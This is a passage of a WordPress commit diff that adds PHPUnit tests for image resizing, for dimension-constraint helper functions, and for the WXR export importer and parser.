+               unlink( $image );
+       }
+
+       function test_resize_larger() {
+               // image_resize() should refuse to make an image larger
+               $image = $this->resize_helper( DIR_TESTDATA.'/images/test-image.jpg', 100, 100 );
+
+               $this->assertInstanceOf( 'WP_Error', $image );
+               $this->assertEquals( 'error_getting_dimensions', $image->get_error_code() );
+       }
+
+       function test_resize_thumb_128x96() {
+               $image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 128, 96 );
+
+               $this->assertEquals( '2007-06-17DSC_4173-63x96.jpg', basename($image) );
+               list($w, $h, $type) = getimagesize($image);
+               $this->assertEquals( 63, $w );
+               $this->assertEquals( 96, $h );
+               $this->assertEquals( IMAGETYPE_JPEG, $type );
+
+               unlink( $image );
+       }
+
+       function test_resize_thumb_128x0() {
+               $image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 128, 0 );
+
+               $this->assertEquals( '2007-06-17DSC_4173-128x192.jpg', basename($image) );
+               list($w, $h, $type) = getimagesize($image);
+               $this->assertEquals( 128, $w );
+               $this->assertEquals( 192, $h );
+               $this->assertEquals( IMAGETYPE_JPEG, $type );
+
+               unlink( $image );
+       }
+
+       function test_resize_thumb_0x96() {
+               $image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 0, 96 );
+
+               $this->assertEquals( '2007-06-17DSC_4173-63x96.jpg', basename($image) );
+               list($w, $h, $type) = getimagesize($image);
+               $this->assertEquals( 63, $w );
+               $this->assertEquals( 96, $h );
+               $this->assertEquals( IMAGETYPE_JPEG, $type );
+
+               unlink( $image );
+       }
+
+       function test_resize_thumb_150x150_crop() {
+               $image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 150, 150, true );
+
+               $this->assertEquals( '2007-06-17DSC_4173-150x150.jpg', basename($image) );
+               list($w, $h, $type) = getimagesize($image);
+               $this->assertEquals( 150, $w );
+               $this->assertEquals( 150, $h );
+               $this->assertEquals( IMAGETYPE_JPEG, $type );
+
+               unlink( $image );
+       }
+
+       function test_resize_thumb_150x100_crop() {
+               $image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 150, 100, true );
+
+               $this->assertEquals( '2007-06-17DSC_4173-150x100.jpg', basename($image) );
+               list($w, $h, $type) = getimagesize($image);
+               $this->assertEquals( 150, $w );
+               $this->assertEquals( 100, $h );
+               $this->assertEquals( IMAGETYPE_JPEG, $type );
+
+               unlink($image);
+       }
+
+       function test_resize_thumb_50x150_crop() {
+               $image = $this->resize_helper( DIR_TESTDATA.'/images/2007-06-17DSC_4173.JPG', 50, 150, true );
+
+               $this->assertEquals( '2007-06-17DSC_4173-50x150.jpg', basename($image) );
+               list($w, $h, $type) = getimagesize($image);
+               $this->assertEquals( 50, $w );
+               $this->assertEquals( 150, $h );
+               $this->assertEquals( IMAGETYPE_JPEG, $type );
+
+               unlink( $image );
+       }
+
+       /**
+        * Try resizing a non-existent image
+        * @ticket 6821
+        */
+       public function test_resize_non_existent_image() {
+               $image = $this->resize_helper( DIR_TESTDATA.'/images/test-non-existent-image.jpg', 25, 25 );
+
+               $this->assertInstanceOf( 'WP_Error', $image );
+               $this->assertEquals( 'error_loading_image', $image->get_error_code() );
+       }
+
+       /**
+        * Try resizing a php file (bad image)
+        * @ticket 6821
+        */
+       public function test_resize_bad_image() {
+               $image = $this->resize_helper( DIR_TESTDATA.'/export/crazy-cdata.xml', 25, 25 );
+               $this->assertInstanceOf( 'WP_Error', $image );
+               $this->assertEquals( 'invalid_image', $image->get_error_code() );
+       }
+
+
+       /**
+        * Function to help out the tests
+        */
+       protected function resize_helper( $file, $width, $height, $crop = false ) {
+               $editor = wp_get_image_editor( $file );
+
+               if ( is_wp_error( $editor ) )
+                       return $editor;
+
+               $resized = $editor->resize( $width, $height, $crop );
+                if ( is_wp_error( $resized ) )
+                       return $resized;
+
+               $dest_file = $editor->generate_filename();
+               $saved = $editor->save( $dest_file );
+
+               if ( is_wp_error( $saved ) )
+                       return $saved;
+
+               return $dest_file;
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsimageresize_gdphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/image/resize_gd.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/image/resize_gd.php                            (rev 0)
+++ trunk/tests/tests/image/resize_gd.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,15 @@
</span><ins>+<?php
+
+/**
+ * @group image
+ * @group media
+ * @group upload
+ */
+class Test_Image_Resize_GD extends WP_Tests_Image_Resize_UnitTestCase {
+
+       /**
+        * Use the GD image editor engine
+        * @var string
+        */
+       public $editor_engine = 'WP_Image_Editor_GD';
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestsimageresize_imagickphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/image/resize_imagick.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/image/resize_imagick.php                               (rev 0)
+++ trunk/tests/tests/image/resize_imagick.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,15 @@
</span><ins>+<?php
+
+/**
+ * @group image
+ * @group media
+ * @group upload
+ */
+class Test_Image_Resize_Imagick extends WP_Tests_Image_Resize_UnitTestCase {
+
+       /**
+        * Use the Imagick image editor engine
+        * @var string
+        */
+       public $editor_engine = 'WP_Image_Editor_Imagick';
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestsimagesizephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/image/size.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/image/size.php                         (rev 0)
+++ trunk/tests/tests/image/size.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,198 @@
</span><ins>+<?php
+
+/**
+ * @group image
+ * @group media
+ * @group upload
+ */
+class Tests_Image_Size extends WP_UnitTestCase {
+       function test_constrain_dims_zero() {
+               if (!is_callable('wp_constrain_dimensions'))
+                       $this->markTestSkipped('wp_constrain_dimensions() is not callable.');
+
+               // no constraint - should have no effect
+               $out = wp_constrain_dimensions(640, 480, 0, 0);
+               $this->assertEquals(array(640, 480), $out);
+
+               $out = wp_constrain_dimensions(640, 480);
+               $this->assertEquals(array(640, 480), $out);
+
+               $out = wp_constrain_dimensions(0, 0, 0, 0);
+               $this->assertEquals(array(0, 0), $out);
+       }
+
+       function test_constrain_dims_smaller() {
+               if (!is_callable('wp_constrain_dimensions'))
+                       $this->markTestSkipped('wp_constrain_dimensions() is not callable.');
+
+               // image size is smaller than the constraint - no effect
+               $out = wp_constrain_dimensions(500, 600, 1024, 768);
+               $this->assertEquals(array(500, 600), $out);
+
+               $out = wp_constrain_dimensions(500, 600, 0, 768);
+               $this->assertEquals(array(500, 600), $out);
+
+               $out = wp_constrain_dimensions(500, 600, 1024, 0);
+               $this->assertEquals(array(500, 600), $out);
+       }
+
+       function test_constrain_dims_equal() {
+               if (!is_callable('wp_constrain_dimensions'))
+                       $this->markTestSkipped('wp_constrain_dimensions() is not callable.');
+
+               // image size is equal to the constraint - no effect
+               $out = wp_constrain_dimensions(1024, 768, 1024, 768);
+               $this->assertequals(array(1024, 768), $out);
+
+               $out = wp_constrain_dimensions(1024, 768, 0, 768);
+               $this->assertequals(array(1024, 768), $out);
+
+               $out = wp_constrain_dimensions(1024, 768, 1024, 0);
+               $this->assertequals(array(1024, 768), $out);
+       }
+
+       function test_constrain_dims_larger() {
+               if (!is_callable('wp_constrain_dimensions'))
+                       $this->markTestSkipped('wp_constrain_dimensions() is not callable.');
+
+               // image size is larger than the constraint - result should be constrained
+               $out = wp_constrain_dimensions(1024, 768, 500, 600);
+               $this->assertequals(array(500, 375), $out);
+
+               $out = wp_constrain_dimensions(1024, 768, 0, 600);
+               $this->assertequals(array(800, 600), $out);
+
+               $out = wp_constrain_dimensions(1024, 768, 500, 0);
+               $this->assertequals(array(500, 375), $out);
+
+               // also try a portrait oriented image
+               $out = wp_constrain_dimensions(300, 800, 500, 600);
+               $this->assertequals(array(225, 600), $out);
+
+               $out = wp_constrain_dimensions(300, 800, 0, 600);
+               $this->assertequals(array(225, 600), $out);
+
+               $out = wp_constrain_dimensions(300, 800, 200, 0);
+               $this->assertequals(array(200, 533), $out);
+       }
+
+       function test_constrain_dims_boundary() {
+               if (!is_callable('wp_constrain_dimensions'))
+                       $this->markTestSkipped('wp_constrain_dimensions() is not callable.');
+
+               // one dimension is larger than the constraint, one smaller - result should be constrained
+               $out = wp_constrain_dimensions(1024, 768, 500, 800);
+               $this->assertequals(array(500, 375), $out);
+
+               $out = wp_constrain_dimensions(1024, 768, 2000, 700);
+               $this->assertequals(array(933, 700), $out);
+
+               // portrait
+               $out = wp_constrain_dimensions(768, 1024, 800, 500);
+               $this->assertequals(array(375, 500), $out);
+
+               $out = wp_constrain_dimensions(768, 1024, 2000, 700);
+               $this->assertequals(array(525, 700), $out);
+       }
+
+       function test_shrink_dimensions_default() {
+               $out = wp_shrink_dimensions(640, 480);
+               $this->assertEquals(array(128, 96), $out);
+
+               $out = wp_shrink_dimensions(480, 640);
+               $this->assertEquals(array(72, 96), $out);
+       }
+
+       function test_shrink_dimensions_smaller() {
+               // image size is smaller than the constraint - no effect
+               $out = wp_shrink_dimensions(500, 600, 1024, 768);
+               $this->assertEquals(array(500, 600), $out);
+
+               $out = wp_shrink_dimensions(600, 500, 1024, 768);
+               $this->assertEquals(array(600, 500), $out);
+       }
+
+       function test_shrink_dimensions_equal() {
+               // image size is equal to the constraint - no effect
+               $out = wp_shrink_dimensions(500, 600, 500, 600);
+               $this->assertEquals(array(500, 600), $out);
+
+               $out = wp_shrink_dimensions(600, 500, 600, 500);
+               $this->assertEquals(array(600, 500), $out);
+       }
+
+       function test_shrink_dimensions_larger() {
+               // image size is larger than the constraint - result should be constrained
+               $out = wp_shrink_dimensions(1024, 768, 500, 600);
+               $this->assertequals(array(500, 375), $out);
+
+               $out = wp_shrink_dimensions(300, 800, 500, 600);
+               $this->assertequals(array(225, 600), $out);
+       }
+
+       function test_shrink_dimensions_boundary() {
+               // one dimension is larger than the constraint, one smaller - result should be constrained
+               $out = wp_shrink_dimensions(1024, 768, 500, 800);
+               $this->assertequals(array(500, 375), $out);
+
+               $out = wp_shrink_dimensions(1024, 768, 2000, 700);
+               $this->assertequals(array(933, 700), $out);
+
+               // portrait
+               $out = wp_shrink_dimensions(768, 1024, 800, 500);
+               $this->assertequals(array(375, 500), $out);
+
+               $out = wp_shrink_dimensions(768, 1024, 2000, 700);
+               $this->assertequals(array(525, 700), $out);
+       }
+
+       function test_constrain_size_for_editor_thumb() {
+               $out = image_constrain_size_for_editor(600, 400, 'thumb');
+               $this->assertEquals(array(150, 100), $out);
+
+               $out = image_constrain_size_for_editor(64, 64, 'thumb');
+               $this->assertEquals(array(64, 64), $out);
+       }
+
+       function test_constrain_size_for_editor_medium() {
+               // default max width is 500, no constraint on height
+               global $content_width;
+               $content_width = 0;
+               update_option('medium_size_w', 500);
+               update_option('medium_size_h', 0);
+
+               $out = image_constrain_size_for_editor(600, 400, 'medium');
+               $this->assertEquals(array(500, 333), $out);
+
+               $out = image_constrain_size_for_editor(400, 600, 'medium');
+               $this->assertEquals(array(400, 600), $out);
+
+               $out = image_constrain_size_for_editor(64, 64, 'medium');
+               $this->assertEquals(array(64, 64), $out);
+
+               // content_width should be ignored
+               $content_width = 350;
+               $out = image_constrain_size_for_editor(600, 400, 'medium');
+               $this->assertEquals(array(500, 333), $out);
+       }
+
+       function test_constrain_size_for_editor_full() {
+               global $content_width;
+               $content_width = 400;
+               $out = image_constrain_size_for_editor(600, 400, 'full');
+               $this->assertEquals(array(600, 400), $out);
+
+               $out = image_constrain_size_for_editor(64, 64, 'full');
+               $this->assertEquals(array(64, 64), $out);
+
+               // content_width default is 500
+               $content_width = 0;
+
+               $out = image_constrain_size_for_editor(600, 400, 'full');
+               $this->assertEquals(array(600, 400), $out);
+
+               $out = image_constrain_size_for_editor(64, 64, 'full');
+               $this->assertEquals(array(64, 64), $out);
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststestsimportbasephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/import/base.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/import/base.php                                (rev 0)
+++ trunk/tests/tests/import/base.php   2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,53 @@
</span><ins>+<?php
+
+abstract class WP_Import_UnitTestCase extends WP_UnitTestCase {
+       /**
+        * Import a WXR file.
+        *
+        * The $users parameter provides information on how users specified in the import
+        * file should be imported. Each key is a user login name and indicates if the user
+        * should be mapped to an existing user, created as a new user with a particular login
+        * or imported with the information held in the WXR file. An example of this:
+        *
+        * <code>
+        * $users = array(
+        *   'alice' => 1, // alice will be mapped to user ID 1
+        *   'bob' => 'john', // bob will be transformed into john
+        *   'eve' => false // eve will be imported as is
+        * );</code>
+        *
+        * @param string $filename Full path of the file to import
+        * @param array $users User import settings
+        * @param bool $fetch_files Whether or not do download remote attachments
+        */
+       protected function _import_wp( $filename, $users = array(), $fetch_files = true ) {
+               $importer = new WP_Import();
+               $file = realpath( $filename );
+               assert('!empty($file)');
+               assert('is_file($file)');
+
+               $authors = $mapping = $new = array();
+               $i = 0;
+
+               // each user is either mapped to a given ID, mapped to a new user
+               // with given login or imported using details in WXR file
+               foreach ( $users as $user => $map ) {
+                       $authors[$i] = $user;
+                       if ( is_int( $map ) )
+                               $mapping[$i] = $map;
+                       else if ( is_string( $map ) )
+                               $new[$i] = $map;
+
+                       $i++;
+               }
+
+               $_POST = array( 'imported_authors' => $authors, 'user_map' => $mapping, 'user_new' => $new );
+
+               ob_start();
+               $importer->fetch_attachments = $fetch_files;
+               $importer->import( $file );
+               ob_end_clean();
+
+               $_POST = array();
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsimportimportphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/import/import.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/import/import.php                              (rev 0)
+++ trunk/tests/tests/import/import.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,226 @@
</span><ins>+<?php
+
+/**
+ * @group import
+ */
+class Tests_Import_Import extends WP_Import_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+
+               if ( ! defined( 'WP_IMPORTING' ) )
+                       define( 'WP_IMPORTING', true );
+
+               if ( ! defined( 'WP_LOAD_IMPORTERS' ) )
+                       define( 'WP_LOAD_IMPORTERS', true );
+
+               add_filter( 'import_allow_create_users', '__return_true' );
+               require_once DIR_TESTDATA . '/plugins/wordpress-importer/wordpress-importer.php';
+
+               global $wpdb;
+               // crude but effective: make sure there's no residual data in the main tables
+               foreach ( array('posts', 'postmeta', 'comments', 'terms', 'term_taxonomy', 'term_relationships', 'users', 'usermeta') as $table)
+                       $wpdb->query("DELETE FROM {$wpdb->$table}");
+       }
+
+       function tearDown() {
+               remove_filter( 'import_allow_create_users', '__return_true' );
+
+               parent::tearDown();
+       }
+
+       function test_small_import() {
+               global $wpdb;
+
+               $authors = array( 'admin' => false, 'editor' => false, 'author' => false );
+               $this->_import_wp( DIR_TESTDATA . '/export/small-export.xml', $authors );
+
+               // ensure that authors were imported correctly
+               $user_count = count_users();
+               $this->assertEquals( 3, $user_count['total_users'] );
+               $admin = get_user_by( 'login', 'admin' );
+               $this->assertEquals( 'admin', $admin->user_login );
+               $this->assertEquals( 'local@host.null', $admin->user_email );
+               $editor = get_user_by( 'login', 'editor' );
+               $this->assertEquals( 'editor', $editor->user_login );
+               $this->assertEquals( 'editor@example.org', $editor->user_email );
+               $this->assertEquals( 'FirstName', $editor->user_firstname );
+               $this->assertEquals( 'LastName', $editor->user_lastname );
+               $author = get_user_by( 'login', 'author' );
+               $this->assertEquals( 'author', $author->user_login );
+               $this->assertEquals( 'author@example.org', $author->user_email );
+
+               // check that terms were imported correctly
+               $this->assertEquals( 30, wp_count_terms( 'category' ) );
+               $this->assertEquals( 3, wp_count_terms( 'post_tag' ) );
+               $foo = get_term_by( 'slug', 'foo', 'category' );
+               $this->assertEquals( 0, $foo->parent );
+               $bar = get_term_by( 'slug', 'bar', 'category' );
+               $foo_bar = get_term_by( 'slug', 'foo-bar', 'category' );
+               $this->assertEquals( $bar->term_id, $foo_bar->parent );
+
+               // check that posts/pages were imported correctly
+               $post_count = wp_count_posts( 'post' );
+               $this->assertEquals( 5, $post_count->publish );
+               $this->assertEquals( 1, $post_count->private );
+               $page_count = wp_count_posts( 'page' );
+               $this->assertEquals( 4, $page_count->publish );
+               $this->assertEquals( 1, $page_count->draft );
+               $comment_count = wp_count_comments();
+               $this->assertEquals( 1, $comment_count->total_comments );
+
+               $posts = get_posts( array( 'numberposts' => 20, 'post_type' => 'any', 'post_status' => 'any', 'orderby' => 'ID' ) );
+               $this->assertEquals( 11, count($posts) );
+
+               $post = $posts[0];
+               $this->assertEquals( 'Many Categories', $post->post_title );
+               $this->assertEquals( 'many-categories', $post->post_name );
+               $this->assertEquals( $admin->ID, $post->post_author );
+               $this->assertEquals( 'post', $post->post_type );
+               $this->assertEquals( 'publish', $post->post_status );
+               $this->assertEquals( 0, $post->post_parent );
+               $cats = wp_get_post_categories( $post->ID );
+               $this->assertEquals( 27, count($cats) );
+
+               $post = $posts[1];
+               $this->assertEquals( 'Non-standard post format', $post->post_title );
+               $this->assertEquals( 'non-standard-post-format', $post->post_name );
+               $this->assertEquals( $admin->ID, $post->post_author );
+               $this->assertEquals( 'post', $post->post_type );
+               $this->assertEquals( 'publish', $post->post_status );
+               $this->assertEquals( 0, $post->post_parent );
+               $cats = wp_get_post_categories( $post->ID );
+               $this->assertEquals( 1, count($cats) );
+               $this->assertTrue( has_post_format( 'aside', $post->ID ) );
+
+               $post = $posts[2];
+               $this->assertEquals( 'Top-level Foo', $post->post_title );
+               $this->assertEquals( 'top-level-foo', $post->post_name );
+               $this->assertEquals( $admin->ID, $post->post_author );
+               $this->assertEquals( 'post', $post->post_type );
+               $this->assertEquals( 'publish', $post->post_status );
+               $this->assertEquals( 0, $post->post_parent );
+               $cats = wp_get_post_categories( $post->ID, array( 'fields' => 'all' ) );
+               $this->assertEquals( 1, count($cats) );
+               $this->assertEquals( 'foo', $cats[0]->slug );
+
+               $post = $posts[3];
+               $this->assertEquals( 'Foo-child', $post->post_title );
+               $this->assertEquals( 'foo-child', $post->post_name );
+               $this->assertEquals( $editor->ID, $post->post_author );
+               $this->assertEquals( 'post', $post->post_type );
+               $this->assertEquals( 'publish', $post->post_status );
+               $this->assertEquals( 0, $post->post_parent );
+               $cats = wp_get_post_categories( $post->ID, array( 'fields' => 'all' ) );
+               $this->assertEquals( 1, count($cats) );
+               $this->assertEquals( 'foo-bar', $cats[0]->slug );
+
+               $post = $posts[4];
+               $this->assertEquals( 'Private Post', $post->post_title );
+               $this->assertEquals( 'private-post', $post->post_name );
+               $this->assertEquals( $admin->ID, $post->post_author );
+               $this->assertEquals( 'post', $post->post_type );
+               $this->assertEquals( 'private', $post->post_status );
+               $this->assertEquals( 0, $post->post_parent );
+               $cats = wp_get_post_categories( $post->ID );
+               $this->assertEquals( 1, count($cats) );
+               $tags = wp_get_post_tags( $post->ID );
+               $this->assertEquals( 3, count($tags) );
+               $this->assertEquals( 'tag1', $tags[0]->slug );
+               $this->assertEquals( 'tag2', $tags[1]->slug );
+               $this->assertEquals( 'tag3', $tags[2]->slug );
+
+               $post = $posts[5];
+               $this->assertEquals( '1-col page', $post->post_title );
+               $this->assertEquals( '1-col-page', $post->post_name );
+               $this->assertEquals( $admin->ID, $post->post_author );
+               $this->assertEquals( 'page', $post->post_type );
+               $this->assertEquals( 'publish', $post->post_status );
+               $this->assertEquals( 0, $post->post_parent );
+               $this->assertEquals( 'onecolumn-page.php', get_post_meta( $post->ID, '_wp_page_template', true ) );
+
+               $post = $posts[6];
+               $this->assertEquals( 'Draft Page', $post->post_title );
+               $this->assertEquals( '', $post->post_name );
+               $this->assertEquals( $admin->ID, $post->post_author );
+               $this->assertEquals( 'page', $post->post_type );
+               $this->assertEquals( 'draft', $post->post_status );
+               $this->assertEquals( 0, $post->post_parent );
+               $this->assertEquals( 'default', get_post_meta( $post->ID, '_wp_page_template', true ) );
+
+               $post = $posts[7];
+               $this->assertEquals( 'Parent Page', $post->post_title );
+               $this->assertEquals( 'parent-page', $post->post_name );
+               $this->assertEquals( $admin->ID, $post->post_author );
+               $this->assertEquals( 'page', $post->post_type );
+               $this->assertEquals( 'publish', $post->post_status );
+               $this->assertEquals( 0, $post->post_parent );
+               $this->assertEquals( 'default', get_post_meta( $post->ID, '_wp_page_template', true ) );
+
+               $post = $posts[8];
+               $this->assertEquals( 'Child Page', $post->post_title );
+               $this->assertEquals( 'child-page', $post->post_name );
+               $this->assertEquals( $admin->ID, $post->post_author );
+               $this->assertEquals( 'page', $post->post_type );
+               $this->assertEquals( 'publish', $post->post_status );
+               $this->assertEquals( $posts[7]->ID, $post->post_parent );
+               $this->assertEquals( 'default', get_post_meta( $post->ID, '_wp_page_template', true ) );
+
+               $post = $posts[9];
+               $this->assertEquals( 'Sample Page', $post->post_title );
+               $this->assertEquals( 'sample-page', $post->post_name );
+               $this->assertEquals( $admin->ID, $post->post_author );
+               $this->assertEquals( 'page', $post->post_type );
+               $this->assertEquals( 'publish', $post->post_status );
+               $this->assertEquals( 0, $post->post_parent );
+               $this->assertEquals( 'default', get_post_meta( $post->ID, '_wp_page_template', true ) );
+
+               $post = $posts[10];
+               $this->assertEquals( 'Hello world!', $post->post_title );
+               $this->assertEquals( 'hello-world', $post->post_name );
+               $this->assertEquals( $author->ID, $post->post_author );
+               $this->assertEquals( 'post', $post->post_type );
+               $this->assertEquals( 'publish', $post->post_status );
+               $this->assertEquals( 0, $post->post_parent );
+               $cats = wp_get_post_categories( $post->ID );
+               $this->assertEquals( 1, count($cats) );
+       }
+
+       function test_double_import() {
+               $authors = array( 'admin' => false, 'editor' => false, 'author' => false );
+               $this->_import_wp( DIR_TESTDATA . '/export/small-export.xml', $authors );
+               $this->_import_wp( DIR_TESTDATA . '/export/small-export.xml', $authors );
+
+               $user_count = count_users();
+               $this->assertEquals( 3, $user_count['total_users'] );
+               $admin = get_user_by( 'login', 'admin' );
+               $this->assertEquals( 'admin', $admin->user_login );
+               $this->assertEquals( 'local@host.null', $admin->user_email );
+               $editor = get_user_by( 'login', 'editor' );
+               $this->assertEquals( 'editor', $editor->user_login );
+               $this->assertEquals( 'editor@example.org', $editor->user_email );
+               $this->assertEquals( 'FirstName', $editor->user_firstname );
+               $this->assertEquals( 'LastName', $editor->user_lastname );
+               $author = get_user_by( 'login', 'author' );
+               $this->assertEquals( 'author', $author->user_login );
+               $this->assertEquals( 'author@example.org', $author->user_email );
+
+               $this->assertEquals( 30, wp_count_terms( 'category' ) );
+               $this->assertEquals( 3, wp_count_terms( 'post_tag' ) );
+               $foo = get_term_by( 'slug', 'foo', 'category' );
+               $this->assertEquals( 0, $foo->parent );
+               $bar = get_term_by( 'slug', 'bar', 'category' );
+               $foo_bar = get_term_by( 'slug', 'foo-bar', 'category' );
+               $this->assertEquals( $bar->term_id, $foo_bar->parent );
+
+               $post_count = wp_count_posts( 'post' );
+               $this->assertEquals( 5, $post_count->publish );
+               $this->assertEquals( 1, $post_count->private );
+               $page_count = wp_count_posts( 'page' );
+               $this->assertEquals( 4, $page_count->publish );
+               $this->assertEquals( 1, $page_count->draft );
+               $comment_count = wp_count_comments();
+               $this->assertEquals( 1, $comment_count->total_comments );
+       }
+
+       // function test_menu_import
+}
</ins></span></pre></div>
<a id="trunkteststestsimportparserphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/import/parser.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/import/parser.php                              (rev 0)
+++ trunk/tests/tests/import/parser.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,192 @@
</span><ins>+<?php
+
+/**
+ * @group import
+ */
+class Tests_Import_Parser extends WP_Import_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+
+               if ( ! defined( 'WP_IMPORTING' ) )
+                       define( 'WP_IMPORTING', true );
+
+               if ( ! defined( 'WP_LOAD_IMPORTERS' ) )
+                       define( 'WP_LOAD_IMPORTERS', true );
+
+               require_once DIR_TESTDATA . '/plugins/wordpress-importer/wordpress-importer.php';
+       }
+
+       function test_malformed_wxr() {
+               $file = DIR_TESTDATA . '/export/malformed.xml';
+
+               // regex based parser cannot detect malformed XML
+               foreach ( array( 'WXR_Parser_SimpleXML', 'WXR_Parser_XML' ) as $p ) {
+                       $parser = new $p;
+                       $result = $parser->parse($file);
+                       $this->assertTrue( is_wp_error( $result ) );
+                       $this->assertEquals( 'There was an error when reading this WXR file', $result->get_error_message() );
+               }
+       }
+
+       function test_invalid_wxr() {
+               $f1 = DIR_TESTDATA . '/export/missing-version-tag.xml';
+               $f2 = DIR_TESTDATA . '/export/invalid-version-tag.xml';
+
+               foreach ( array( 'WXR_Parser_SimpleXML', 'WXR_Parser_XML', 'WXR_Parser_Regex' ) as $p ) {
+                       foreach ( array( $f1, $f2 ) as $file ) {
+                               $parser = new $p;
+                               $result = $parser->parse( $file );
+                               $this->assertTrue( is_wp_error( $result ) );
+                               $this->assertEquals( 'This does not appear to be a WXR file, missing/invalid WXR version number', $result->get_error_message() );
+                       }
+               }
+       }
+
+       function test_wxr_version_1_1() {
+               $file = DIR_TESTDATA . '/export/valid-wxr-1.1.xml';
+
+               foreach ( array( 'WXR_Parser_SimpleXML', 'WXR_Parser_XML', 'WXR_Parser_Regex' ) as $p ) {
+                       $message = $p . ' failed';
+                       $parser = new $p;
+                       $result = $parser->parse( $file );
+
+                       $this->assertTrue( is_array( $result ), $message );
+                       $this->assertEquals( 'http://localhost/', $result['base_url'], $message );
+                       $this->assertEquals( array(
+                               'author_id' => 2,
+                               'author_login' => 'john',
+                               'author_email' => 'johndoe@example.org',
+                               'author_display_name' => 'John Doe',
+                               'author_first_name' => 'John',
+                               'author_last_name' => 'Doe'
+                       ), $result['authors']['john'], $message );
+                       $this->assertEquals( array(
+                               'term_id' => 3,
+                               'category_nicename' => 'alpha',
+                               'category_parent' => '',
+                               'cat_name' => 'alpha',
+                               'category_description' => 'The alpha category'
+                       ), $result['categories'][0], $message );
+                       $this->assertEquals( array(
+                               'term_id' => 22,
+                               'tag_slug' => 'clippable',
+                               'tag_name' => 'Clippable',
+                               'tag_description' => 'The Clippable post_tag'
+                       ), $result['tags'][0], $message );
+                       $this->assertEquals( array(
+                               'term_id' => 40,
+                               'term_taxonomy' => 'post_tax',
+                               'slug' => 'bieup',
+                               'term_parent' => '',
+                               'term_name' => 'bieup',
+                               'term_description' => 'The bieup post_tax'
+                       ), $result['terms'][0], $message );
+
+                       $this->assertEquals( 2, count($result['posts']), $message );
+                       $this->assertEquals( 19, count($result['posts'][0]), $message );
+                       $this->assertEquals( 18, count($result['posts'][1]), $message );
+                       $this->assertEquals( array(
+                               array( 'name' => 'alpha', 'slug' => 'alpha', 'domain' => 'category' ),
+                               array( 'name' => 'Clippable', 'slug' => 'clippable', 'domain' => 'post_tag' ),
+                               array( 'name' => 'bieup', 'slug' => 'bieup', 'domain' => 'post_tax' )
+                       ), $result['posts'][0]['terms'], $message );
+                       $this->assertEquals( array(
+                               array( 'key' => '_wp_page_template', 'value' => 'default' )
+                       ), $result['posts'][1]['postmeta'], $message );
+               }
+       }
+
+       function test_wxr_version_1_0() {
+               $file = DIR_TESTDATA . '/export/valid-wxr-1.0.xml';
+
+               foreach ( array( 'WXR_Parser_SimpleXML', 'WXR_Parser_XML', 'WXR_Parser_Regex' ) as $p ) {
+                       $message = $p . ' failed';
+                       $parser = new $p;
+                       $result = $parser->parse( $file );
+
+                       $this->assertTrue( is_array( $result ), $message );
+                       $this->assertEquals( 'http://localhost/', $result['base_url'], $message );
+                       $this->assertEquals( $result['categories'][0]['category_nicename'], 'alpha', $message );
+                       $this->assertEquals( $result['categories'][0]['cat_name'], 'alpha', $message );
+                       $this->assertEquals( $result['categories'][0]['category_parent'], '', $message );
+                       $this->assertEquals( $result['categories'][0]['category_description'], 'The alpha category', $message );
+                       $this->assertEquals( $result['tags'][0]['tag_slug'], 'chicken', $message );
+                       $this->assertEquals( $result['tags'][0]['tag_name'], 'chicken', $message );
+
+                       $this->assertEquals( 6, count($result['posts']), $message );
+                       $this->assertEquals( 19, count($result['posts'][0]), $message );
+                       $this->assertEquals( 18, count($result['posts'][1]), $message );
+
+                       $this->assertEquals( array(
+                               array( 'name' => 'Uncategorized', 'slug' => 'uncategorized', 'domain' => 'category' )
+                       ), $result['posts'][0]['terms'], $message );
+                       $this->assertEquals( array(
+                               array( 'name' => 'alpha', 'slug' => 'alpha', 'domain' => 'category' ),
+                               array( 'name' => 'news', 'slug' => 'news', 'domain' => 'tag' ),
+                               array( 'name' => 'roar', 'slug' => 'roar', 'domain' => 'tag' )
+                       ), $result['posts'][2]['terms'], $message );
+                       $this->assertEquals( array(
+                               array( 'name' => 'chicken', 'slug' => 'chicken', 'domain' => 'tag' ),
+                               array( 'name' => 'child', 'slug' => 'child', 'domain' => 'category' ),
+                               array( 'name' => 'face', 'slug' => 'face', 'domain' => 'tag' )
+                       ), $result['posts'][3]['terms'], $message );
+
+                       $this->assertEquals( array(
+                               array( 'key' => '_wp_page_template', 'value' => 'default' )
+                       ), $result['posts'][1]['postmeta'], $message );
+               }
+       }
+
